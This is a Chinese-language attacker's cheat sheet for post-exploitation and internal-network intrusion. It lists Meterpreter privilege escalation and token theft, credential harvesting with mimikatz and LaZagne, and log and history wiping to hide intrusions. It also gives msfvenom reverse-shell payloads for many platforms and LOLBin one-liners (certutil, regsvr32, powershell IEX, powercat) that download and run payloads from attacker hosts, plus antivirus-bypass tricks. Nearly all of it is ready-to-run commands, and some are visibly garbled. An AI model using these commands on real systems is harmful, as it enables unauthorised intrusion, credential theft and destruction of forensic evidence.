linEnum: http://qiniu.safe6.cn/LinEnum.sh

linux-exploit-suggester: https://github.com/HappyTreeFriend/linux-exploit-suggester

Windows提权辅助脚本: https://github.com/pentestmonkey/windows-privesc-check

利用msf提权

利用getsystem

(如果提权成功,进入shell后还是普通用户,就需要进行进程迁移)

getsystem

getgui添加管理员

run getgui -u test$ -p 123456

use incognito(加载incognito扩展)

利用加载incognito后的add_user命令添加管理员

image-20210107132946355

利用incognito盗取令牌

meterpreter >use incognito  加载incoginto功能(用来盗窃目标主机的令牌或是假冒用户)

meterpreter >list_tokens -u  列出目标主机用户的可用令牌

meterpreter >list_tokens -g  列出目标主机用户组的可用令牌

meterpreter >impersonate_token DOMAIN_NAME\\USERNAME  假冒目标主机上的可用令牌,如meterpreter > impersonate_token QLWEB\\Administrato

meterpreter >execute -f cmd.exe -i -t #调用域权限shell

meterpreter > getuid

meterpreter>add_user 0xfa funny –h192.168.3.98 #在域控主机上添加账户

meterpreter>reg command  # 在目标主机注册表中进行交互,创建,删除,查询等操作

meterpreter>setdesktop number  #切换到另一个用户界面(该功能基于哪些用户已登录)

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID

meterpreter>steal_token pid #盗窃给定进行的可用令牌并进行令牌假冒

meterpreter>drop_token pid #停止假冒当前令牌

image-20210107133117637

利用hashdump(获取系统hash值并破解,前提是system)

image-20210107133210042

利用mimikatz抓密码

利用smart_hashdump

安卓锁屏破解

安卓破解锁屏可以 拿key破解,或者删除key文件(/data/system/password.key)

交互shell获取

很多时候我们获取的shell并不是一个具有完整交互的shell,对于已经安装了python的系统,我们可以使用python提供的pty模块,只需要一行脚本就可以创建一个原生的终端

python3 -c "import pty;pty.spawn('/bin/bash')"
python2 -c 'import pty;pty.spawn("/bin/sh")'

无交互账号添加

chpasswd 方法

useradd newuser;echo "newuser:password"|chpasswd

useradd -p 方法

useradd -p `openssl passwd 123456` guest

useradd -p "$(openssl passwd 123456)" guest

echo -e 方法

useradd newuwer;echo -e "123456\n123456\n" |passwd newuser

Cobalt Strike笔记

argue参数污染

条件:使用adminstrator或system权限

场景:机器上线后,无法执行命令被av拦截。

Use:

argue [command] [fake arguments]

注意:fake arguments应该比真实的要长

例子:

污染powershell,污染完后即可正常执行powershell

argue powershell.exe xsdffsdfwfws

bypass disable_function

参考文章:https://www.anquanke.com/post/id/208451#h2-8

https://www.cnblogs.com/tr1ple/p/11213732.html

常用方法:

1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

隧道工具

chisel:一款快速稳定的隧道工具 https://www.anquanke.com/post/id/234771

痕迹清理

windows清理

日志清除

windows 日志路径:

系统日志:%SystemRoot%\System32\Winevt\Logs\System.evtx
安全日志:%SystemRoot%\System32\Winevt\Logs\Security.evtx
应用程序日志:%SystemRoot%\System32\Winevt\Logs\Application.evtx
日志在注册表的键:HKEY_LOCAL_MACHINE\system\CurrentControlSet\Services\Eventlog

windows 日志清除方式:

(1)最简单粗暴的方式

开始→运行,输入 eventvwr 进入事件查看器,右边栏选择清除日志。

(2)命令行一键清除Windows事件日志

PowerShell -Command "& {Clear-Eventlog -Log Application,System,Security}"
Get-WinEvent -ListLog Application,Setup,Security -Force | % {Wevtutil.exe cl $_.Logname}

(3)利用脚本停止日志的记录

通过该脚本遍历事件日志服务进程(专用svchost.exe)的线程堆栈,并标识事件日志线程以杀死事件日志服务线程。

因此,系统将无法收集日志,同时事件日志服务似乎正在运行。

github项目地址:https://github.com/hlldz/Invoke-Phant0m

(4)Windows单条日志清除

该工具主要用于从Windows事件日志中删除指定的记录。

github项目地址:https://github.com/QAX-A-Team/EventCleaner

(5)Windows日志伪造

使用eventcreate这个命令行工具来伪造日志或者使用自定义的大量垃圾信息覆盖现有日志。

eventcreate -l system -so administrator -t warning -d "this is a test" -id 500

IIS日志

IIS默认日志路径:

%SystemDrive%\inetpub\logs\LogFiles\W3SVC1\

清除WWW日志:

停止服务:net stop w3svc
删除日志目录下所有文件:del *.*
启用服务:net start w3svc

永久擦除技巧

利用Windows自带命令进行安全擦除

(1)Shift+Delete快捷键永久删除

直接删除文件,还是能在回收站找到的,使用Shift+Delete快捷键可以直接永久删除了。但是用数据恢复软件,删除的文件尽快恢复,否则新的文件存入覆盖了原来的文件痕迹就很难恢复了。

(2)Cipher 命令多次覆写

在删除文件后,可以利用Cipher 命令通过 /W 参数可反复写入其他数据覆盖已删除文件的硬盘空间,彻底删除数据防止被恢复。

比如,删除D:\tools目录下的文件,然后执行这条命令:

cipher /w:D:\tools

这样一来,D 盘上未使用空间就会被覆盖三次:一次 0x00、一次 0xFF,一次随机数,所有被删除的文件就都不可能被恢复了。

(3)Format命令覆盖格式化

Format 命令加上 /P 参数后,就会把每个扇区先清零,再用随机数覆盖。而且可以覆盖多次。比如:

format D: /P:8

这条命令表示把 D 盘用随机数覆盖 8 次。

清除远程桌面连接记录

当通过本机远程连接其他客户端或服务器后,会在本机存留远程桌面连接记录。代码保存为clear.bat文件,双击运行即可自动化清除远程桌面连接记录。

@echo off
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f
reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"
cd %userprofile%\documents\attrib Default.rdp -s -h
del Default.rdp

利用Metasploit 痕迹清除

(1)查看事件日志

meterpreter > run event_manager  -i   
[*] Retriving Event Log Configuration

Event Logs on System
====================

 Name                    Retention  Maximum Size  Records 
 ----                    ---------  ------------  ------- 
 Application             Disabled   20971520K     2149 
 HardwareEvents          Disabled   20971520K     0 
 Internet Explorer       Disabled   K             0 
 Key Management Service  Disabled   20971520K     0 
 Security                Disabled   20971520K     1726 
 System                  Disabled   20971520K     3555 
 Windows PowerShell      Disabled   15728640K     138

(2)清除事件日志(包括六种日志类型)

meterpreter > run event_manager  -c

(3)另外,也可以输入clearv命令清除目标系统的事件日志(仅包含三种日志类型)

meterpreter > clearev 
[*] Wiping 4 records from Application...
[*] Wiping 8 records from System...
[*] Wiping 7 records from Security...

linux清理

日志清除

/var/log/btmp   记录所有登录失败信息,使用lastb命令查看
/var/log/lastlog 记录系统中所有用户最后一次登录时间的日志,使用lastlog命令查看
/var/log/wtmp    记录所有用户的登录、注销信息,使用last命令查看
/var/log/utmp    记录当前已经登录的用户信息,使用w,who,users等命令查看
/var/log/secure   记录与安全相关的日志信息
/var/log/message  记录系统启动后的信息和错误日志

第一种方式:清空日志文件

清除登录系统失败的记录:

[root@centos]# echo > /var/log/btmp 
[root@centos]# lastb             //查询不到登录失败信息

清除登录系统成功的记录:

[root@centos]# echo > /var/log/wtmp  
[root@centos]# last              //查询不到登录成功的信息

清除相关日志信息:

清除用户最后一次登录时间:echo > /var/log/lastlog          #lastlog命令
清除当前登录用户的信息:echo >   /var/log/utmp             #使用w,who,users等命令
清除安全日志记录:cat /dev/null >  /var/log/secure
清除系统日志记录:cat /dev/null >  /var/log/message

第二种方式:删除/替换部分日志

日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

# 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip
sed  -i '/自己的ip/'d  /var/log/messages

# 全局替换登录IP地址:
sed -i 's/192.168.166.85/192.168.1.1/g' secure

第三种方式:web日志

直接替换日志ip地址

sed -i 's/192.168.166.85/192.168.1.1/g' access.log

清除部分相关日志

# 使用grep -v来把我们的相关信息删除
cat /var/log/nginx/access.log | grep -v evil.php > tmp.log
# 把修改过的日志覆盖到原日志文件
cat tmp.log > /var/log/nginx/access.log

永久擦除技巧

(1)shred命令

实现安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数。

[root@centos]# shred -f -u -z -v -n 8 1.txt 
shred: 1.txt: pass 1/9 (random)...
shred: 1.txt: pass 2/9 (ffffff)...
shred: 1.txt: pass 3/9 (aaaaaa)...
shred: 1.txt: pass 4/9 (random)...
shred: 1.txt: pass 5/9 (000000)...
shred: 1.txt: pass 6/9 (random)...
shred: 1.txt: pass 7/9 (555555)...
shred: 1.txt: pass 8/9 (random)...
shred: 1.txt: pass 9/9 (000000)...
shred: 1.txt: removing
shred: 1.txt: renamed to 00000
shred: 00000: renamed to 0000
shred: 0000: renamed to 000
shred: 000: renamed to 00
shred: 00: renamed to 0
shred: 1.txt: removed

(2)dd命令

可用于安全地清除硬盘或者分区的内容。

dd if=/dev/zero of=要删除的文件 bs=大小 count=写入的次数

(3)wipe

Wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件。

wipe filename

(4)Secure-Delete

Secure-Delete 是一组工具集合,提供srm、smem、sfill、sswap,4个安全删除文件的命令行工具。

srm filenames
fill filename
sswap /dev/sda1
smem

清除history记录

第一种方式:

(1)编辑history记录文件,删除部分不想被保存的历史命令。

vim ~/.bash_history

(2)清除当前用户的history命令记录

history -c

第二种方式:

(1)利用vim特性删除历史命令

#使用vim打开一个文件
vi test.txt

# 设置vim不记录命令,Vim会将命令历史记录,保存在viminfo文件中。
:set history=0

# 用vim的分屏功能打开命令记录文件.bash_history,编辑文件删除历史操作命令
vsp ~/.bash_history

# 清除保存.bash_history文件即可。

(2)在vim中执行自己不想让别人看到的命令

:set history=0
:!command

第三种方式:

通过修改配置文件/etc/profile,使系统不再保存命令记录。

HISTSIZE=0

第四种方式:

登录后执行下面命令,不记录历史命令(.bash_history)

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0

隐藏远程SSH登陆记录

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T [email protected] /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T [email protected] /bin/bash –i

横向移动

  • linux反弹shell后保持会话不断,可以借⽤screen保持会话

  • 把反弹shell转为交互式的shell

    python -c 'import pty; pty.spawn("/bin/bash")' //成py半交互式shell ctrl+Z
    stty raw -echo fg
    resetexport SHELL=bashexport TERM=xterm256-color stty rows 38 columns 116

内网常用命令

  • whoami # 查看当前用户
  • net user # 查看所有用户
  • query user # 查看当前在线用户
  • ipconfig /all # 查看当前主机的主机名/IP/DNS等信息
  • route print # 查看路由表信息
  • netstat -ano # 查看端口开放情况
  • arp -a # 查看arp解析情况
  • tasklist /svc # 查看进程及对应服务名
  • net localgroup administrators # 查看管理员组成员
  • systeminfo # 查看系统信息含补丁信息
  • net use # 查看ipc连接情况
  • net view # 查看匿名共享情况
  • netsh firewall show state # 查看防火墙状态
  • cmdkey /l # 查看当前保存的登陆凭证

密码搜集

  • netsh wlan show profiles # 查看连接过的wifi名称

  • netsh wlan show profile name="wifi名称" key=clear # 查看wifi的密码

  • dir /a %userprofile%\AppData\Local\Microsoft\Credentials* # 查看RDP连接凭证

  • dir /a /s /b "网站目录*config*" > 1.txt # 数据库配置文件

  • laZagne.exe all -oN # 本地wifi/浏览器等密码

  • dir %APPDATA%\Microsoft\Windows\Recent # 查看最近打开的文档

  • dir /s /a \域控IP\SYSVOL*.xml # 获取域里面所有机子的本地管理员账号密码

  • linux密码快速查找

    find / -name *.properties 2>/dev/null | grep WEB-INF
    
    find / -name "*.properties" | xargs egrep -i "user|pass|pwd|uname|login|db_" find / -regex ".*\.properties\|.*\.conf\|.*\.config" | xargs grep -E "=jdbc:|pass="
    
    find /webapp -regex ".*\.properties" -print 2>/dev/null | xargs grep -E "=jdbc:|rsync"
    
    find / -regex ".*\.properties" -print  2>/dev/null
    
    find / -regex ".*\.properties\|.*\.conf\|.*\.config\|.*\.sh" | xargs grep -E "=jdbc:|pass=|passwd="
    
    find / -regex ".*\.xml\|.*\.properties\|.*\.conf\|.*\.config\|.*\.jsp" | xargs grep -E "setCipherKey"
  • 可以使用如下命令寻找包含密码字段的文件:

    cd /webfindstr /s /m "password" *.*

  • 常用应用的默认配置路径:

    Tomcat:CATALINA_HOME/conf/tomcat-users.xml
    
    Apache:/etc/httpd/conf/httpd.conf
    
    Nginx:/etc/nginx/nginx.conf
    
    Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf
    
    Mysql:mysql\data\mysql\user.MYD
    

文件查找

https://www.anquanke.com/post/id/245019

文件查找:

Windows

for /r C: %i in (login.*) do @echo %i

where /R C: login.*

dir /s/a-d/b login.*

Linux

find / -name index.php

updatedb && locate index.php

源码查找

Windows

findstr /s /i /n /d:C:\ /c:"123123" *.txt

其中/d:是指定目录,在windows中一般为指定盘符,/c:则是指定文件内容,最后指定的是文件名字。

(b)Linux

find / -name "index.php" | xargs grep "111222"

连通性

域信息收集

常用信息收集

  • net config workstation #查看当前登录域
  • net user /domain # 获得所有域用户列表
  • net view /domain # 查看所有的域
  • net view /domain:XXX # 查看该域内所有主机
  • net group /domain # 查看所有域用户组列表
  • net group "domain computers" /domain # 查看域内所有的主机名
  • net group "domain admins" /domain # 查看所有域管理员
  • net group "domain controllers" /domain # 查看所有域控制器
  • net group "enterprise admins" /domain # 查看所有企业管理员
  • nltest /domain_trusts # 获取域信任信息
  • net time /domain # 查看当前登录域
  • net accounts /domain # 查看域密码策略
  • dsquery server # 寻找目录中的域控制器
  • netdom query pdc # 查看域控制器主机名
  • wmic useraccount get /all #获取域内用户的详细信息

环境信息搜集

  • nbtscan.exe xx.xx.xx.xx/24 # 查看c段机器
  • csvde.exe -f 1.csv -k # 批量导入/导出AD用户
  • setspn.exe -T xx.xx.xx.xx -Q / # 查看当前域内所有spn

内网渗透合集

手把手教你入门内网渗透之一

  1. 信息搜集+内网提权+隧道搭建

https://www.anquanke.com/post/id/221264

手把手教你入门内网渗透之二

  1. 内网横向移动

https://www.anquanke.com/post/id/222269

手把手教你入门内网渗透之三

  1. 持久化控制:后门+免杀

https://www.anquanke.com/post/id/223095

payload生成

windows:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o
payload.exe

mac:

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho

android:

//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk

powershell:

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

linux:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f elf -o payload.elf

php:

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=
<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >>
shell.php

aspx:

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx

jsp:

msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻
击机端口 -f raw -o payload.jsp ```

war:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war

nodejs:

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js

python:

msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py

perl:

msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl

ruby:

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb

lua:

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua

windows shellcode:

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c

linux shellcode:

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c

payload下载&白名单bypass

参考:

https://xz.aliyun.com/t/5768 渗透测试中弹shell的多种方式及bypass

https://micro8.gitbook.io/micro8/ 大佬经验十年总结

python文件服务器

python2 -m SimpleHTTPServer 8081

python3 -m http.server 8081

如果是单纯的下载payload推荐使用powershell或certutil进行下载,但是记得清理缓存

ftp

下载姿势

echo open 192.168.1.1 21> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo ftp>> ftp.txt
echo GET 1.exe >> ftp.txt
ftp -s:ftp.txt

需要搭建ftp服务器,用ftp下载防火墙会弹框拦截,使用前记得要先添加防火墙规则

msf攻击

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) > set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

windows下基于白名单获取shell的方法整理(下)

生成payload

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse\_tcp LHOST= 192.168.43.231 LPORT=53 -e x86/shikata\_ga_nai -b '\\\x00\\\x0a\\\xff' -i 3 -f exe -o payload.exe

windows下基于白名单获取shell的方法整理(下)

靶机执行(payload传到靶机上)

echo !C:\\payload.exe > o &&echo quit >> o &Ftp ‐n ‐s:o &&del /F /Q o

windows下基于白名单获取shell的方法整理(下)

ODBCCONF利用dll

ODBCCONF.exe是一个命令行工具,允许配置ODBC驱动程序和数据

说明:Odbcconf.exe所在路径已被系统添加PATH环境变量中,因此,Odbcconf命令可识

别,需注意x86,x64位的Odbcconf调用。

Windows 2003 默认位置:

C:\WINDOWS\system32\odbcconf.exe

C:\WINDOWS\SysWOW64\odbcconf.exe

Windows 7 默认位置:

C:\Windows\System32\odbcconf.exe

C:\Windows\SysWOW64\odbcconf.exe

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

生成dll

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST= 92.168.43.231 LPORT=53  -f dll -o payload.dll

windows下基于白名单获取shell的方法整理(下)

靶机执行以下代码(注意payload版本)

odbcconf.exe /a {regsvr C:\\payload.dll}

windows下基于白名单获取shell的方法整理(下)

cmstp利用dll

Cmstp安装或删除“连接管理器”服务配置文件。如果不含可选参数的情况下使用,则

cmstp 会使用对应于操作系统和用户的权限的默认设置来安装服务配置文件。

说明:Cmstp.exe所在路径已被系统添加PATH环境变量中,因此,Cmstp命令可识别,需

注意x86,x64位的Cmstp调用。

Windows 2003 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

Windows 7 默认位置:

C:\Windows\System32\cmstp.exe

C:\Windows\SysWOW64\cmstp.exe

msf启用监听

use exploit/multi/handler 
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp 
msf exploit(multi/handler) > set lhost 192.168.43.231
msf exploit(multi/handler) >  set AutoRunScript migrate -f
msf exploit(multi/handler) > set lport 53
msf exploit(multi/handler) > exploit

准备inf文件,以下是模板

[version]
 Signature=$chicago$
 AdvancedINF=2.5
[DefaultInstall_SingleUser]
 RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
 C:\payload.dll
[Strings]
 AppAct = "SOFTWARE\Microsoft\Connection Manager" 
 ServiceName="safe6" 
 ShortSvcName="safe6"

INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执行的 WebDAV 位置

然后再靶机执行以下命令

cmstp /s safe6.inf

windows下基于白名单获取shell的方法整理(下)

Rundll

Rundll32.exe与Windows操作系统相关联,Rundll32.exe可调用从DLL导出的函数(16位或32位)并将其存储在特定的内存库中。

通过SMB交付Metasploit发起Rundll32攻击

Metasploit包含“ SMB Delivery”模块,该模块生成恶意的dll文件。 该模块通过SMB服务器提供有效负载,并提供控制命令。 当前支持DLL和Powershell。

use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.109
msf exploit(windows/smb/smb_delivery) > exploit

下面通过Rundll32.exe命令获得meterpreter会话。

windows下基于白名单获取shell的方法整理(上)

在受控机器上远程执行恶意dll,你将获得受控计算机的反向shell。

rundll32.exe \\\192.168.1.109\\vabFG\\test.dll,0

windows下基于白名单获取shell的方法整理(上)

获得meterpreter会话如下:

windows下基于白名单获取shell的方法整理(上)

Regsvr32

Regsvr32.exe是一个命令行程序,用于注册和注销OLE控件,例如Windows注册表中的DLL和ActiveX控件。Regsvr32.exe安装在Windows XP和Windows更高版本的%systemroot%\ System32文件夹下。

RegSvr32.exe具有以下命令行选项:
语法:Regsvr32 [/s] [/ u] \[/ n] \[/ i [:cmdline\]\]<dllname>            
 / u –注销服务器            
 / i –调用DllInstall,并为其传递可选的\[cmdline\];     与/ u一起使用时,它将调用dll进行卸载         
/ n –不调用DllRegisterServer;此选项必须与
/ i一起使用
/ s –静音;不显示消息框

通过Metasploit的脚本Web交付启动Regsvr32

此模块可快速启动提供有效负载的Web服务器。提供的命令将允许有效负载下载并执行。它将通过regsvr32.exe来指定脚本语言解释器或“ squibledoo”来绕过应用程序白名单。该模块的主要目的是在目标计算机上快速建立会话。

Regsvr32使用squiblydoo技术绕过应用程序白名单。签名的Microsoft二进制文件Regsvr32能够运行.sct文件,然后在其中执行包含PowerShell命令。两个Web请求(即.sct文件和PowerShell下载/执行)都可以在同一端口上执行。“PSH(Binary)”会将文件写入到硬盘中,允许自定义二进制文件被下载和执行。

use exploit/multi/script/web_delivery
msf exploit (web_delivery)>set target 3
msf exploit (web_delivery)> set payloadphp/meterpreter/reverse\_tcp
msf exploit (web_delivery)> set lhost192.168.1.109
msf exploit (web_delivery)>set srvhost192.168.1.109
msf exploit (web_delivery)>exploit

复制下图中突出被框选的代码:

windows下基于白名单获取shell的方法整理(上)

一旦该exploit被执行,您将拥有一个为您创建的URL。在受害者pc的命令提示符中运行该URL,如下所示:

windows下基于白名单获取shell的方法整理(上)

在命令执行后按Enter键,您将拥有您的会话。如下图所示,输入sysinfo命令获取主机信息:

windows下基于白名单获取shell的方法整理(上)

vbs

vbs downloader,使用msxml2.xmlhttp和adodb.stream对象

Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.1.1/1.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
aGet.SaveToFile "C:\test\1.exe",2

powershell

下载

powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1.exe','C:\test\1.exe');start-process 'C:\test\1.exe'
(New-Object Net.WebClient).DownloadString("http://xx.xx.xx.xx /test.ps1")

下载执行

Invoke-Expression (New-Object Net.WebClient).DownloadString("http://xxx.xx.xx.xx/test.ps1")

下载bypass

但是可以通过来进行绕过:

但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:

echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

Powercat攻击

PowerCat是一个的powershell写的TCP / IP瑞士军刀,看一看成NCAT的的powershell的实现,然后里面也加入了众多好用的功能,如文件上传,SMB协议支持,中继模式,生成有效载荷,端口扫描等等。

git clone https://github.com/besimorhino/powercat.git
cd powercat
python -m SimpleHTTPServer 80

windows下基于白名单获取shell的方法整理(上)

然后在远程端执行下面的命令获得netcat会话。

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/powercat.ps1');powercat -c 192.168.1.109 -p 1234 -e cmd"

windows下基于白名单获取shell的方法整理(上)

正如你观察到的,我们已经获得了目标机器的netcat会话。

windows下基于白名单获取shell的方法整理(上)

批处理文件攻击(powerShell脚本)

同样,PowerShell 允许客户端执行批处理文件,因此让我们使用 msfvenom 生成恶意批处理文件,如下所示,然后启动 netcat 侦听器。

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=4444 > 1.bat

windows下基于白名单获取shell的方法整理(上)

然后执行以下命令以获取 netcat 会话。

powershell -c "IEX((New-Object System.Net.WebClient).DownloadString('http://192.168.1.109/1.bat'))

windows下基于白名单获取shell的方法整理(上)

如下,我们已经获得了目标机器的netcat会话。

windows下基于白名单获取shell的方法整理(上)

利用cscript.exe攻击

同样,PowerShell 允许客户端执行cscript.exe 运行 wsf、js 和vbscript文件。因此,让我们生成具有 msfvenom 的恶意bat文件,如下所示,并作为侦听器启动multi/handler程序。

msfvenom -p cmd/windows/reverse_powershell lhost=192.168.1.109 lport=1234 -f vbs >1.vbs

windows下基于白名单获取shell的方法整理(上)

在目标机器上执行下面的命令行获得meterpreter会话。

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.1.109/1.vbs',\\"$env:temp\\test.vbs\\");Start-Process %windir%\\system32\\cscript.exe \\"$env:temp\\test.vbs\\""

windows下基于白名单获取shell的方法整理(上)

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

获得meterpreter会话如下:

windows下基于白名单获取shell的方法整理(上)

certutil

Certutil.exe是作为证书服务的一部分安装的命令行程序。

下载姿势

保存在当前路径,文件名称同URL

certutil.exe -urlcache -split -f http://192.168.1.1/1.exe

保存在当前路径,指定保存文件名称

certutil.exe -urlcache -split -f http://192.168.1.1/1.txt 1.php

隐藏在ADS数据流中:

certutil.exe -urlcache -split -f https://xx.xx.xx.xx/xx c:\\temp:ttt

使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content保存下载的文件副本

命令行删除缓存

certutil.exe -urlcache -split -f http://192.168.1.1/1.exe delete

查看缓存项目:

certutil.exe -urlcache *

转为base64

certutil -encode lcx64.exe lcx64.txt

转回来

certutil -decode lcx64.txt lcx64.exe

查看md5

certutil -hashfile a.exe MD5

姿势学习

https://y4er.com/post/certutil-powershell-write-file/ 极限环境Certutil加Powershell配合Burp快速落地文件

bypass

https://mp.weixin.qq.com/s/LGe3SuCGiNMHNbfN6oTApw 记一次渗透测试后引发的小扩展

直接下载会被拦截用&和|也可以顺利绕过并下载

Certutil & Certutil –urlcache –f –split url
Certutil | Certutil –urlcache –f –split url

img

经过后续的测试发现也可以先执行一次certutil再执行原始的下载语句即可绕过,便可以看到2.exe已经被下载。

img

其实想想使用的符号&和|,本质都是执行了2次certutil~

msf攻击

通过msfvenom 生成恶意可执行文件,并使用start multi/handler 获取目标计算机反向shell会话。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.109 lport=1234 -f exe > shell.exe

再用python生成一个简易的http服务器

windows下基于白名单获取shell的方法整理(上)

现在,为了使用certutil.exe能够获取配置信息和可执行文件,我们需要使用如下语法:

语法:[-f] [-urlcache] [-split]可执行文件路径

certutil.exe -urlcache -split -f http://192.168.1.109/shell.exe shell.exe & shell.exe

windows下基于白名单获取shell的方法整理(上)

use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit

这样,我们获得了目标计算机的反向shell。如下所示:

windows下基于白名单获取shell的方法整理(上)

csc

csc.exe是微软.NET Framework 中的C#编译器,Windows系统中默认包含,可在命令行下将cs文件编译成exe

download.cs

using System.Net;
namespace downloader
{
    class Program
    {
        static void Main(string[] args)
        {
            WebClient client = new WebClient();
            string URLAddress = @"http://192.168.1.1/1.exe";
            string receivePath = @"C:\test\";
            client.DownloadFile(URLAddress, receivePath + System.IO.Path.GetFileName
        (URLAddress));
        }
    }
}
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /out:C:\tes
t\download.exe C:\test\download.cs

Desktopimgdownldr

参考:https://www.anquanke.com/post/id/223232#h2-3 新型下载LOLBIN

用于设置锁定屏幕或桌面背景图像作为个性化CSP一部分.CSP在WIN10 1703之后引入

用户如果没有用过CSP,那么路径不存在。

C:\Windows\Personalization

默认图片下载和存放路径:

C:\windows\Personalization\LockScreenImage\LockScreenImage_%random%.jpg

Desktopimgdownldr默认用法:

desktopimgdownldr /lockscreenurl:https://domain.com:8080/file.exe /
eventName:randomname

用法

管理员运行,该文件会设置并覆盖用户锁定的屏幕图像,并生成注册表,我们需要将其注册表删除,避免将其屏幕覆盖

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe
/lockscreenurl: https://xx.xx.xx.xx/xxx.ps1 && reg delete
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP
/f

注册表路径:

\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP

